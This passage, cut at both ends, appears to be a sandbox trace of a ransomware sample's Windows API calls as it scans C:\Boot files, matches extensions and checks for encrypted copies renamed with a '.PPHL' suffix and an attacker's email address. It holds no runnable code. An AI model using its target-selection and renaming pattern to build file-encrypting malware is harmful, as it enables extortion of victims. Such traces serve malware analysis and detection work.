returned 16 [0060.196] lstrlenW (lpString=".jpg") returned 4 [0060.196] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0060.196] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.196] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.196] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.196] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=89168) returned 1 [0060.196] CloseHandle (hObject=0x194) returned 1 [0060.197] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0060.197] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.197] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.197] lstrlenW (lpString=".doc") returned 4 [0060.197] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.197] lstrlenW (lpString=".docx") returned 5 [0060.197] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.197] lstrlenW (lpString=".pdf") returned 4 [0060.197] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.197] lstrlenW (lpString=".xls") returned 4 [0060.197] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.197] lstrlenW (lpString=".xlsx") returned 5 [0060.197] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.197] lstrlenW (lpString=".ppt") returned 4 [0060.197] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.197] lstrlenW (lpString=".zip") returned 4 [0060.202] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.202] lstrlenW (lpString=".rar") returned 4 [0060.202] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.202] lstrlenW (lpString=".bz2") returned 4 [0060.202] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.202] lstrlenW (lpString=".7z") returned 3 [0060.202] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.202] lstrlenW (lpString=".dbf") returned 4 [0060.202] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.202] lstrlenW (lpString=".1cd") returned 4 [0060.202] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.202] lstrlenW (lpString=".jpg") returned 4 [0060.202] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.202] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.202] lstrlenW (lpString=".doc") returned 4 [0060.202] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.202] lstrlenW (lpString=".docx") returned 5 [0060.203] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.203] lstrlenW (lpString=".pdf") returned 4 [0060.203] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.203] lstrlenW (lpString=".xls") returned 4 [0060.203] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.203] lstrlenW (lpString=".xlsx") returned 5 [0060.203] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.203] lstrlenW (lpString=".ppt") returned 4 [0060.203] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.203] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.203] lstrlenW (lpString=".zip") returned 4 [0060.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.203] lstrlenW (lpString=".rar") returned 4 [0060.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.203] lstrlenW (lpString=".bz2") returned 4 [0060.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.203] lstrlenW (lpString=".7z") returned 3 [0060.203] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.203] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.203] lstrlenW (lpString=".dbf") returned 4 [0060.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.203] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.203] lstrlenW (lpString=".1cd") returned 4 [0060.203] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.203] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0060.203] lstrlenW (lpString=".jpg") returned 4 [0060.203] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.204] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.204] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.204] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.205] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=87616) returned 1 [0060.205] CloseHandle (hObject=0x194) returned 1 [0060.205] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0060.205] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.206] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.206] lstrlenW (lpString=".doc") returned 4 [0060.206] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.206] lstrlenW (lpString=".docx") returned 5 [0060.206] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.206] lstrlenW (lpString=".pdf") returned 4 [0060.206] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.206] lstrlenW (lpString=".xls") returned 4 [0060.206] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.206] lstrlenW (lpString=".xlsx") returned 5 [0060.206] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.206] lstrlenW (lpString=".ppt") returned 4 [0060.206] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.206] lstrlenW (lpString=".zip") returned 4 [0060.206] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.206] lstrlenW (lpString=".rar") returned 4 [0060.206] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.206] lstrlenW (lpString=".bz2") returned 4 [0060.206] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.206] lstrlenW (lpString=".7z") returned 3 [0060.206] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.206] lstrlenW (lpString=".dbf") returned 4 [0060.206] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.206] lstrlenW (lpString=".1cd") returned 4 [0060.206] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.206] lstrlenW (lpString=".jpg") returned 4 [0060.206] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.206] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.207] lstrlenW (lpString=".doc") returned 4 [0060.207] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.207] lstrlenW (lpString=".docx") returned 5 [0060.207] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.207] lstrlenW (lpString=".pdf") returned 4 [0060.207] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.207] lstrlenW (lpString=".xls") returned 4 [0060.207] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.207] lstrlenW (lpString=".xlsx") returned 5 [0060.207] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.207] lstrlenW (lpString=".ppt") returned 4 [0060.207] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.207] lstrlenW (lpString=".zip") returned 4 [0060.207] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.207] lstrlenW (lpString=".rar") returned 4 [0060.207] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.207] lstrlenW (lpString=".bz2") returned 4 [0060.207] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.207] lstrlenW (lpString=".7z") returned 3 [0060.207] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.207] lstrlenW (lpString=".dbf") returned 4 [0060.207] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.207] lstrlenW (lpString=".1cd") returned 4 [0060.207] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.207] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0060.207] lstrlenW (lpString=".jpg") returned 4 [0060.207] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.207] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.208] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.208] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.208] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=91712) returned 1 [0060.208] CloseHandle (hObject=0x194) returned 1 [0060.208] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0060.208] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.208] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.208] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.208] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.208] lstrlenW (lpString=".doc") returned 4 [0060.208] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.208] lstrlenW (lpString=".docx") returned 5 [0060.208] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.208] lstrlenW (lpString=".pdf") returned 4 [0060.208] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.208] lstrlenW (lpString=".xls") returned 4 [0060.208] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.209] lstrlenW (lpString=".xlsx") returned 5 [0060.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.209] lstrlenW (lpString=".ppt") returned 4 [0060.209] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.209] lstrlenW (lpString=".zip") returned 4 [0060.209] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.209] lstrlenW (lpString=".rar") returned 4 [0060.209] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.209] lstrlenW (lpString=".bz2") returned 4 [0060.209] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.209] lstrlenW (lpString=".7z") returned 3 [0060.209] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.209] lstrlenW (lpString=".dbf") returned 4 [0060.209] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.209] lstrlenW (lpString=".1cd") returned 4 [0060.209] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.209] lstrlenW (lpString=".jpg") returned 4 [0060.209] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.209] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.209] lstrlenW (lpString=".doc") returned 4 [0060.209] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.209] lstrlenW (lpString=".docx") returned 5 [0060.209] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.209] lstrlenW (lpString=".pdf") returned 4 [0060.209] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.209] lstrlenW (lpString=".xls") returned 4 [0060.209] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.209] lstrlenW (lpString=".xlsx") returned 5 [0060.209] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.209] lstrlenW (lpString=".ppt") returned 4 [0060.209] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.210] lstrlenW (lpString=".zip") returned 4 [0060.210] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.210] lstrlenW (lpString=".rar") returned 4 [0060.210] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.210] lstrlenW (lpString=".bz2") returned 4 [0060.210] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.210] lstrlenW (lpString=".7z") returned 3 [0060.210] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.210] lstrlenW (lpString=".dbf") returned 4 [0060.210] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.210] lstrlenW (lpString=".1cd") returned 4 [0060.210] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.210] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0060.210] lstrlenW (lpString=".jpg") returned 4 [0060.210] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.210] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.210] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.210] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.210] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=94800) returned 1 [0060.211] CloseHandle (hObject=0x194) returned 1 [0060.211] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0060.211] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.211] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.211] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0060.211] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0060.211] lstrlenW (lpString=".doc") returned 4 [0060.211] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.211] lstrlenW (lpString=".docx") returned 5 [0060.211] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.211] lstrlenW (lpString=".pdf") returned 4 [0060.211] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.211] lstrlenW (lpString=".xls") returned 4 [0060.211] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.211] lstrlenW (lpString=".xlsx") returned 5 [0060.211] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.211] lstrlenW (lpString=".ppt") returned 4 [0060.211] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.211] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0060.211] lstrlenW (lpString=".zip") returned 4 [0060.211] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.211] lstrlenW (lpString=".rar") returned 4 [0060.211] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.211] lstrlenW (lpString=".bz2") returned 4 [0060.211] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.211] lstrlenW (lpString=".7z") returned 3 [0060.211] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.212] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.212] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.212] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.212] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.212] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.212] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.212] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.212] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.212] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.212] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.213] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.214] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=85056) returned 1 [0060.214] CloseHandle (hObject=0x194) returned 1 [0060.214] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0060.215] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.215] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.215] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.215] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.215] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.215] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.215] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.215] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.215] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.215] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.215] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.215] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.215] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.215] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.215] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.216] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.216] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.216] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.216] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.216] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.216] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.216] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.216] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.216] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.216] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.216] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.216] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.216] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.216] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.217] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.217] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x376ff1c | out: lpFileSize=0x376ff1c*=43600) returned 1 [0060.217] CloseHandle (hObject=0x194) returned 1 [0060.217] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0060.217] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.217] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.217] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.217] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.217] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.217] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.217] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.218] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.218] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.218] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.218] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.218] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.218] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.218] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.218] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.218] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.218] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.219] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.219] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.219] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.219] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.219] lstrcmpiW (lpString1=".mui", lpString2=".PPHL") returned -1 [0060.219] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.219] GetFileSizeEx (in: hFile=0x194, 